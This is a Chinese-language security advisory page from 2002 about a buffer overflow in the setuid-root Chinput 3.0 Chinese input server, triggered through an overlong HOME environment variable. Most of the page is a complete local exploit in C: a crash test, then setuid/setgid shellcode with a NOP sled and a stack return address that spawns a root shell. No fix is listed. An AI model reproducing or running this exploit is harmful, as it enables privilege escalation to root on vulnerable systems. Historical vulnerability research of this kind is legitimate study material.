xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Chinput 存在缓冲溢出漏洞


发布时间:2002-01-18
更新时间:2002-01-18
严重程度:
威胁程度:本地管理员权限
错误类型:环境错误
利用方式:服务器模式

受影响系统
Chinput 3.0
详细描述
chinput是*nix下的中文输入服务程序,支持XIM协议和它自身针对中文平台的协议。
其中在对环境变量处理中没有很好的进行过滤,超长字符串提交会产生缓冲溢出。

测试代码
$ls -l /usr/bin/chinput
-rwsr-xr-x 1 root root 317272 Jan 15 21:31
/usr/bin/chinput
$export HOME=`perl -e 'print "a"x800'`
$/usr/bin/chinput
Segmentation fault


/* local exploit for Chinput 3.0
* .. tested in TurboLinux 6.5 with kernel 2.2.18
*
* Usage: $gcc chinput_exp.c
* $./a.out
* bash-2.04$ /usr/bin/chinput
*
* by xperc@hotmail.com
* 2002/1/16
*/
                    
#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define OFS 0x1f0

unsigned long get_esp()
{
    __asm__("mov %esp,%eax");
}

char *shellcode=
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /*
setuid=0 */
    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" /*
setgid=0 */
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b"
    "\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56"
    "\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
    "\xff\xff\xff/bin/sh";
        

char s[512];
char *s1;

int main()
{
        strcpy(s,"HOME=");
        s1=s+5;
        while(s1<s+260+5-strlen(shellcode))
            *(s1++)=NOP;

        while(*shellcode)
            *(s1++)=*(shellcode++);
        *((unsigned long *)s1)=get_esp()-OFS;
        printf("Jump to: %p\n",*((long *)s1));
        s1+=4;
        *s1=0;
        putenv(s);
        system("bash");
}

解决方案
尚无

相关信息
参考:http://archives.neohapsis.com/archives/bugtraq/2002-01/0214.html